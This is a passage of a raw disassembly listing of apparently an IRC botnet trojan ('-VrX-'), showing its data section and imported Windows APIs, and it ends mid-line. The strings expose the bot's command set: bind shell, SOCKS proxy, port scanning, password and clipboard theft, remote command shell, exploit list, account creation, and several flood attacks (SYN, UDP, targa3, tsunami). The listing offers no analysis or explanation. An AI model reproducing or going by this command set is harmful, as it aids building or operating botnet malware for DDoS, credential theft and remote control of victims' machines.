dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C1CC db 2Dh ; - ; DATA XREF: sub_401AC7+20E0o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_42C208 db 2Dh ; - ; DATA XREF: sub_401AC7+2071o ; sub_40BD7C+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C23C db 2Dh ; - ; DATA XREF: sub_401AC7+1FBFo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 4 unk_42C25C db 2Dh ; - ; DATA XREF: sub_401AC7:loc_403A70o db 3, 34h, 2 db 4Dh ; M db 61h, 2 dup(53h) db 20h db 53h, 63h, 41h db 6Eh ; n db 2, 3, 2Dh aFailedToSta_25 db ' Failed to start scan, port is invalid.',0 unk_42C294 db 2Dh ; - ; DATA XREF: sub_401AC7+1F5Co db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_26 db '- Failed to start scan thread, error: <%d>.',0 align 10h unk_42C2D0 db 2Dh ; - ; DATA XREF: sub_401AC7+1EEBo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanStart db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401AC7+1EC0o ; sub_401AC7+5B6Ao align 4 aRandom db 'Random',0 ; DATA XREF: sub_401AC7+1EB9o ; sub_401AC7+5B63o align 10h dword_42C350 dd 234032Dh, 3025A56h ; DATA XREF: sub_401AC7+1CFFo aAlreadyDScanni db '- Already %d scanning threads. Too many specified.',0 align 4 unk_42C38C db 2Dh ; - ; DATA XREF: sub_401AC7+1CA2o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_27 db 'Failed to start search thread, error: <%d>.',0 unk_42C3C8 db 2Dh ; - ; DATA XREF: sub_401AC7+1C10o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 aFp db 'fp',0 ; DATA XREF: sub_401AC7+1BE2o align 4 aFindpass db 'findpass',0 ; DATA XREF: sub_401AC7+1BD1o align 10h aNoticeSPhoning db 'NOTICE %s :PHONING HOME: DADI Are You There?! ;).',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1BBBo aPhonehome db 'phonehome',0 ; DATA XREF: sub_401AC7+1BA4o align 10h off_42C440 dd offset word_587A56 ; DATA XREF: sub_401AC7+1B8Fo aAsn445 db 'asn445',0 ; DATA XREF: sub_401AC7+1B7Ao align 4 unk_42C44C db 3 ; DATA XREF: sub_401AC7+1B2Ao a81VrxCrashingB db '8,1-VrX- Crashing bot.',0 aShitycrash db 'shitycrash',0 ; DATA XREF: sub_401AC7+1B14o ; sub_401AC7+1B64o align 10h aTftp db 'tftp',0 ; DATA XREF: sub_401AC7+1AFFo align 4 aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401AC7+1AEAo align 4 aHttp db 'http',0 ; DATA XREF: sub_401AC7+1AD5o align 4 aHttpserver db 'httpserver',0 ; DATA XREF: sub_401AC7+1AC0o align 4 aRlogin db 'rlogin',0 ; DATA XREF: sub_401AC7+1AABo align 10h aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401AC7+1A96o align 10h aCip db 'cip',0 ; DATA XREF: sub_401AC7+1A81o aCurrentip db 'currentip',0 ; DATA XREF: sub_401AC7+1A6Co align 10h aFdns db 'fdns',0 ; DATA XREF: sub_401AC7+1A57o align 4 aFlushdns db 'flushdns',0 ; DATA XREF: sub_401AC7+1A42o align 4 aFarp db 'farp',0 ; DATA XREF: sub_401AC7+1A2Do align 4 aFlusharp db 'flusharp',0 ; DATA XREF: sub_401AC7+1A18o align 4 aGc db 'gc',0 ; DATA XREF: sub_401AC7+1A03o align 4 aGetclip db 'getclip',0 ; DATA XREF: sub_401AC7+19EEo unk_42C4F4 db 2Dh ; - ; DATA XREF: sub_401AC7+19B0o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 aOff db 'off',0 ; DATA XREF: sub_401AC7+1995o ; sub_401AC7+3C85o ... aSpoof db 'spoof',0 ; DATA XREF: sub_401AC7+1981o align 4 unk_42C528 db 3 ; DATA XREF: sub_401AC7+1961o a81VrxLoginList db '8,1-VrX- Login list complete.',0 align 4 aD_S db '%d. %s',0 ; DATA XREF: sub_401AC7+192Co align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_401AC7:loc_4033E6o dword_42C558 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401AC7+18F5o dword_42C56C dd 6F6877h ; DATA XREF: sub_401AC7+18D8o dword_42C570 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401AC7+18CDo dword_42C57C dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ; DATA XREF: sub_401AC7+18C8o aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401AC7+18AFo aOcmd db 'ocmd',0 ; DATA XREF: sub_401AC7+189Ao align 4 aOpencmd db 'opencmd',0 ; DATA XREF: sub_401AC7+1885o aDll db 'dll',0 ; DATA XREF: sub_401AC7+1870o aTestdlls db 'testdlls',0 ; DATA XREF: sub_401AC7+185Bo align 4 aDrv db 'drv',0 ; DATA XREF: sub_401AC7+1846o aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401AC7+1831o align 4 aUp db 'up',0 ; DATA XREF: sub_401AC7+181Co align 4 aUptime db 'uptime',0 ; DATA XREF: sub_401AC7+1807o align 10h aPs db 'ps',0 ; DATA XREF: sub_401AC7+17F2o align 4 aProcs db 'procs',0 ; DATA XREF: sub_401AC7+17DDo align 4 aKosomak db 'KOSOMAK',0 ; DATA XREF: sub_401AC7+17C8o aKosomakyad db 'KOSOMAKYAD',0 ; DATA XREF: sub_401AC7+17B3o align 10h aSi db 'si',0 ; DATA XREF: sub_401AC7+179Eo align 4 aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401AC7+1789o aNi db 'ni',0 ; DATA XREF: sub_401AC7+1774o align 10h aNetinfo db 'netinfo',0 ; DATA XREF: sub_401AC7+175Fo aClg db 'clg',0 ; DATA XREF: sub_401AC7+174Ao aClearlog db 'clearlog',0 ; DATA XREF: sub_401AC7+1735o align 4 aLg db 'lg',0 ; DATA XREF: sub_401AC7+1720o align 4 aLog db 'log',0 ; DATA XREF: sub_401AC7+170Bo aAl db 'al',0 ; DATA XREF: sub_401AC7+16F6o align 4 aAliases db 'aliases',0 ; DATA XREF: sub_401AC7+16E1o aT: ; DATA XREF: sub_401AC7+16CCo ; ___:00438324o unicode 0, <t>,0 aThreads db 'threads',0 ; DATA XREF: sub_401AC7+16B7o unk_42C638 db 3 ; DATA XREF: sub_401AC7+1683o a81VrxFailedToR db '8,1-VrX- Failed to reboot system.',0 align 4 unk_42C65C db 3 ; DATA XREF: sub_401AC7+167Co a81VrxRebooting db '8,1-VrX- Rebooting system.',0 aR3start db 'r3start',0 ; DATA XREF: sub_401AC7+1665o aI: ; DATA XREF: sub_401AC7+1650o ; ___:004382F8o unicode 0, <i>,0 aId db 'id',0 ; DATA XREF: sub_401AC7+163Bo align 4 aS_0: ; DATA XREF: sub_401AC7+1626o ; ___:00438374o unicode 0, <s>,0 aStatus db 'status',0 ; DATA XREF: sub_401AC7+1611o align 4 aQ: ; DATA XREF: sub_401AC7+15FCo ; ___:off_437F90o ... unicode 0, <q>,0 aQuit_0 db 'quit',0 ; DATA XREF: sub_401AC7+15E7o align 10h aDc db 'dc',0 ; DATA XREF: sub_401AC7+15D2o align 4 aDisconnect db 'disconnect',0 ; DATA XREF: sub_401AC7+15BDo align 10h aR: ; DATA XREF: sub_401AC7+15A8o ; sub_401AC7+3D92o ... unicode 0, <r>,0 aReconnect db 'reconnect',0 ; DATA XREF: sub_401AC7+1593o align 10h aExplist db 'explist',0 ; DATA XREF: sub_401AC7+157Eo aExploitlist db 'exploitlist',0 ; DATA XREF: sub_401AC7+1569o aCbstats db 'cbstats',0 ; DATA XREF: sub_401AC7+1554o aConnectbacksta db 'connectbackstats',0 ; DATA XREF: sub_401AC7+153Fo align 10h aTrstats db 'trstats',0 ; DATA XREF: sub_401AC7+152Ao aTransferstats db 'transferstats',0 ; DATA XREF: sub_401AC7+1515o align 4 aStats db 'stats',0 ; DATA XREF: sub_401AC7+1500o align 10h aScanstats db 'scanstats',0 ; DATA XREF: sub_401AC7+14EBo align 4 dword_42C71C dd 312C3803h, 4043532Dh, 2D4Eh ; DATA XREF: sub_401AC7+14E0o aScan_0 db 'Scan',0 ; DATA XREF: sub_401AC7+14DBo align 10h aScanstop db 'scanstop',0 ; DATA XREF: sub_401AC7+14C2o align 4 dword_42C73C dd 234032Dh, 75636573h, 3026572h, 2Dh ; DATA XREF: sub_401AC7+14B7o aSecure_0 db 'Secure',0 ; DATA XREF: sub_401AC7+14B2o align 4 aSecurestop db 'securestop',0 ; DATA XREF: sub_401AC7+1499o align 10h dword_42C760 dd 234032Dh, 6E6F6C63h, 3027365h, 2Dh ; DATA XREF: sub_401AC7+148Eo aClone db 'Clone',0 ; DATA XREF: sub_401AC7+1489o align 4 aClonestop db 'clonestop',0 ; DATA XREF: sub_401AC7+1470o align 4 aPsstop db 'psstop',0 ; DATA XREF: sub_401AC7+145Bo align 4 aProcsstop db 'procsstop',0 ; DATA XREF: sub_401AC7+1446o align 4 aFfstop db 'ffstop',0 ; DATA XREF: sub_401AC7+1431o align 10h aFindfilestop db 'findfilestop',0 ; DATA XREF: sub_401AC7+141Co align 10h dword_42C7B0 dd 234032Dh, 70746674h, 2D030264h, 0 ; DATA XREF: sub_401AC7+1411o aTftpstop db 'tftpstop',0 ; DATA XREF: sub_401AC7+13F3o align 4 aPingstop db 'pingstop',0 ; DATA XREF: sub_401AC7+13CAo align 4 aUdpstop db 'udpstop',0 ; DATA XREF: sub_401AC7+13A1o aWisdomstop db 'wisdomstop',0 ; DATA XREF: sub_401AC7+1378o align 4 aTsunamistop db 'tsunamistop',0 ; DATA XREF: sub_401AC7+134Fo unk_42C7F8 db 2Dh ; - ; DATA XREF: sub_401AC7+1335o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aAllPacketingAc db 'All packeting activity has been halted.',0 dword_42C82C dd 234032Dh, 64736977h, 3026D6Fh, 2Dh ; DATA XREF: sub_401AC7+12FAo ; sub_401AC7+1396o dword_42C83C dd 64736957h, 61206D6Fh, 63617474h, 6Bh ; DATA XREF: sub_401AC7+12F5o ; sub_401AC7+1391o dword_42C84C dd 234032Dh, 6E757374h, 2696D61h, 2D03h ; DATA XREF: sub_401AC7+12DCo ; sub_401AC7+136Do dword_42C85C dd 6E757354h, 20696D61h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+12D7o ; sub_401AC7+1368o dword_42C86C dd 234032Dh, 676E6970h, 2D0302h ; DATA XREF: sub_401AC7+127Co ; sub_401AC7+13E8o dword_42C878 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1277o ; sub_401AC7+13E3o dword_42C884 dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401AC7+125Eo ; sub_401AC7+13BFo dword_42C890 dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+1259o ; sub_401AC7+13BAo aPacketstop db 'packetstop',0 ; DATA XREF: sub_401AC7+11F9o align 4 dword_42C8A8 dd 234032Dh, 6B6E6F77h, 2D0302h ; DATA XREF: sub_401AC7+11EEo ; sub_401AC7+12BBo dword_42C8B4 dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+11E9o ; sub_401AC7+12B6o aWonkstop db 'wonkstop',0 ; DATA XREF: sub_401AC7+11D0o align 4 dword_42C8CC dd 234032Dh, 67726174h, 3023361h, 2Dh ; DATA XREF: sub_401AC7+11C5o ; sub_401AC7+129Do dword_42C8DC dd 67726154h, 66203361h, 646F6F6Ch, 0 ; DATA XREF: sub_401AC7+11C0o ; sub_401AC7+1298o aTarga3stop db 'targa3stop',0 ; DATA XREF: sub_401AC7+11A7o align 4 dword_42C8F8 dd 234032Dh, 73796B73h, 3026E79h, 2Dh ; DATA XREF: sub_401AC7+119Co ; sub_401AC7+131Bo dword_42C908 dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ; DATA XREF: sub_401AC7+1197o ; sub_401AC7+1316o aSkysynstop db 'skysynstop',0 ; DATA XREF: sub_401AC7+117Eo align 4 dword_42C924 dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401AC7+1173o ; sub_401AC7+123Do dword_42C930 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401AC7+116Eo ; sub_401AC7+1238o aSynstop db 'synstop',0 ; DATA XREF: sub_401AC7+1155o dword_42C944 dd 234032Dh, 736F6464h, 2D0302h ; DATA XREF: sub_401AC7+114Ao ; sub_401AC7+121Fo dword_42C950 dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401AC7+1145o ; sub_401AC7+121Ao dword_42C95C dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401AC7+112Co dword_42C968 dd 234032Dh, 69646572h, 74636572h, 2D0302h ; DATA XREF: sub_401AC7+1121o dword_42C978 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_401AC7+111Co aRedirectstop db 'redirectstop',0 ; DATA XREF: sub_401AC7+1103o align 4 dword_42C998 dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401AC7+10F8o dword_42C9A4 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_401AC7+10F3o aLogstop db 'logstop',0 ; DATA XREF: sub_401AC7+10DAo dword_42C9B8 dd 234032Dh, 70747468h, 2D030264h, 0 ; DATA XREF: sub_401AC7+10CFo aHttpstop db 'httpstop',0 ; DATA XREF: sub_401AC7+10B1o align 4 dword_42C9D4 dd 234032Dh, 676F6C72h, 2646E69h, 2D03h ; DATA XREF: sub_401AC7+10A6o aRloginstop db 'rloginstop',0 ; DATA XREF: sub_401AC7+1088o align 10h dword_42C9F0 dd 234032Dh, 6B636F73h, 3023473h, 2Dh ; DATA XREF: sub_401AC7+107Do aSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401AC7+105Fo align 4 aS4 db 's4',0 ; DATA XREF: sub_401AC7+104Ao align 10h aSocks4 db 'socks4',0 ; DATA XREF: sub_401AC7+1035o align 4 dword_42CA18 dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0 ; DATA XREF: sub_401AC7+102Ao aServer_0 db 'Server',0 ; DATA XREF: sub_401AC7+1025o ; sub_401AC7+1078o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401AC7+100Co align 4 aBd db 'bd',0 ; DATA XREF: sub_401AC7+FF7o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401AC7+FE2o align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401AC7+FCDo align 4 aUnsecure db 'unsecure',0 ; DATA XREF: sub_401AC7+FB8o align 4 aSec db 'sec',0 ; DATA XREF: sub_401AC7+FA3o ; sub_401AC7+2D36o aSecure db 'secure',0 ; DATA XREF: sub_401AC7+F8Eo ; sub_401AC7+2D25o align 4 aSt db 'st',0 ; DATA XREF: sub_401AC7+F79o align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401AC7+F64o align 4 aRz db 'rz',0 ; DATA XREF: sub_401AC7+F4Fo align 4 aRulez db 'rulez',0 ; DATA XREF: sub_401AC7+F3Ao align 10h aVer db 'ver',0 ; DATA XREF: sub_401AC7+F25o aVersion db 'version',0 ; DATA XREF: sub_401AC7+F10o aLo db 'lo',0 ; DATA XREF: sub_401AC7+EFBo align 10h aLogout db 'logout',0 ; DATA XREF: sub_401AC7+EE6o align 4 aDi3 db 'di3',0 ; DATA XREF: sub_401AC7+EBCo ; sub_401AC7+ED1o aRn db 'rn',0 ; DATA XREF: sub_401AC7+EA7o align 10h aRndnick db 'rndnick',0 ; DATA XREF: sub_401AC7+E8Fo a63 db '63',0 ; DATA XREF: sub_401AC7+D5Co align 4 asc_42CABC: ; DATA XREF: sub_401AC7+D34o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401AC7+CF7o align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401AC7+CECo aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401AC7+CDBo align 4 aChan db '$chan',0 ; DATA XREF: sub_401AC7+CBFo align 4 aUser_1 db '$user',0 ; DATA XREF: sub_401AC7+CAEo align 4 aMe db '$me',0 ; DATA XREF: sub_401AC7+C9Co aD db '$%d',0 ; DATA XREF: sub_401AC7+C2Eo aD_0 db '$%d-',0 ; DATA XREF: sub_401AC7+B6Ao align 4 aC: ; DATA XREF: sub_401AC7+A7Eo ; sub_401AC7+4AEFo unicode 0, <c>,0 unk_42CB00 db 2Dh ; - ; DATA XREF: sub_401AC7+A58o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42CB34 db 2Dh ; - ; DATA XREF: sub_401AC7+A47o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42CB64 db 2Dh ; - ; DATA XREF: sub_401AC7+A36o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_28 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42CB9C db 2Dh ; - ; DATA XREF: sub_401AC7+9C7o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401AC7+933o align 4 unk_42CBC4 db 2Dh ; - ; DATA XREF: sub_401AC7+919o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 unk_42CC08 db 2Dh ; - ; DATA XREF: sub_401AC7+8FBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_29 db '- Failed to start transfer thread, error: <%d>.',0 align 4 dword_42CC44 dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401AC7+8EAo dd 0A0Dh dword_42CC5C dd 4E495001h, 47h ; DATA XREF: sub_401AC7+8B6o dword_42CC64 dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401AC7+8ABo dd 0D017325h, 0Ah dword_42CC80 dd 52455601h, 4E4F4953h, 1 ; DATA XREF: sub_401AC7+87Ao dword_42CC8C dd 23h ; DATA XREF: sub_401AC7+7F1o ; sub_40CD2A+1Bo unk_42CC90 db 2Dh ; - ; DATA XREF: sub_401AC7+760o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 10h aS_1 db '%s',0 ; DATA XREF: sub_401AC7+6E7o ; sub_401AC7+970o ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401AC7+6C0o align 4 dword_42CCCC dd 43434401h, 0 ; DATA XREF: sub_401AC7+6A2o dword_42CCD4 dd 323333h ; DATA XREF: sub_401AC7+62Co ; sub_401AC7+AB4o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401AC7+60Ao ; sub_409862+Fo align 10h aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401AC7+5FEo ; sub_409862+16o unk_42CCE8 db 3 ; DATA XREF: sub_401AC7+5ADo a81VrxUserSLo_0 db '8,1-VrX- User: %s logged out.',0 align 4 unk_42CD08 db 3 ; DATA XREF: sub_401AC7+58Do a81VrxJoinedC_0 db '8,1-VrX- Joined channel: %s.',0 align 4 a353 db '353',0 ; DATA XREF: sub_401AC7+55Co aQuit db 'QUIT',0 ; DATA XREF: sub_401AC7+51Fo align 4 aPart db 'PART',0 ; DATA XREF: sub_401AC7+50Eo ; sub_401AC7+5CAo align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401AC7+4E9o align 4 aNick db 'NICK',0 ; DATA XREF: sub_401AC7+3CBo align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+36Eo ; sub_401AC7+5EEo unk_42CD5C db 3 ; DATA XREF: sub_401AC7+355o ; sub_401AC7+2E89o ... a81VrxUserSLo_1 db '8,1-VrX- User %s logged out.',0 align 4 aKick db 'KICK',0 ; DATA XREF: sub_401AC7+2E4o align 4 aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+28Do ; sub_401AC7+7A99o ... align 10h a433 db '433',0 ; DATA XREF: sub_401AC7+265o ; sub_417B1E:loc_417B95o a@: ; DATA XREF: sub_401AC7+23Ao unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401AC7+22Ao a005 db '005',0 ; DATA XREF: sub_401AC7+215o a001 db '001',0 ; DATA XREF: sub_401AC7+200o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1E4o ; sub_401AC7+3B8o ... align 4 aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401AC7+1C3o align 10h aPing db 'PING',0 ; DATA XREF: sub_401AC7+1A9o ; sub_417B1E+50o align 4 asc_42CDC8: ; DATA XREF: sub_401AC7+19Ao ; sub_401AC7+7BA2o unicode 0, <!>,0 asc_42CDCC: ; DATA XREF: sub_401AC7+A8o ; sub_401AC7+E34o ... unicode 0, < >,0 asc_42CDD0 db ' :',0 ; DATA XREF: sub_401AC7+86o ; sub_401AC7:loc_4025D3o align 4 aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409862+58o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4098FD+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4098FD+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_4098FD:loc_40A567o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_4098FD+C15o align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_4098FD+C08o align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_4098FD+BFBo align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_4098FD+BEEo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_4098FD+BE1o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_4098FD+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_4098FD:loc_40A4C9o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_4098FD+B97o align 4 aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_4098FD+B8Fo align 4 aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_4098FD:loc_40A47Fo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4098FD+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4098FD+B30o align 10h aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_4098FD+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_4098FD+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_4098FD:loc_40A40Bo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4098FD+AD9o align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_4098FD+AD1o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_4098FD:loc_40A3C1o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4098FD+A8Fo align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4098FD+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_4098FD:loc_40A377o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_4098FD+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_4098FD+9ECo ; sub_418AA2+65o align 10h aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_4098FD+9DFo align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_4098FD+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_4098FD+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_4098FD+9B8o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_4098FD+9ABo align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_4098FD+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4098FD+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_4098FD+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_4098FD+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_4098FD+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_4098FD:loc_40A25Bo ; sub_418AA2+58o align 4 aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_4098FD+921o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_4098FD+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_4098FD+90Co align 4 aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_4098FD:loc_40A1FCo align 10h aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4098FD+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_4098FD+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_4098FD+853o align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_4098FD+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_4098FD+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_4098FD+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_4098FD+81Fo align 10h aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_4098FD+812o align 4 aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_4098FD+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4098FD+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_4098FD+7F0o align 10h aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_4098FD:loc_40A0DCo aClosesocket db 'closesocket',0 ; DATA XREF: sub_4098FD+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_4098FD+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_4098FD+68Co align 4 aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_4098FD+67Fo align 4 aGethostname db 'gethostname',0 ; DATA XREF: sub_4098FD+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_4098FD+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_4098FD+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_4098FD+64Bo align 10h aListen db 'listen',0 ; DATA XREF: sub_4098FD+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_4098FD+631o align 10h aBind db 'bind',0 ; DATA XREF: sub_4098FD+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_4098FD+617o align 4 aRecv db 'recv',0 ; DATA XREF: sub_4098FD+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_4098FD+5FDo align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_4098FD+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_4098FD+5D6o align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_4098FD+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_4098FD+5BCo align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_4098FD+5AFo align 10h aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_4098FD+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_4098FD+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_4098FD+588o aSocket db 'socket',0 ; DATA XREF: sub_4098FD+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_4098FD+56Eo align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_4098FD+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: 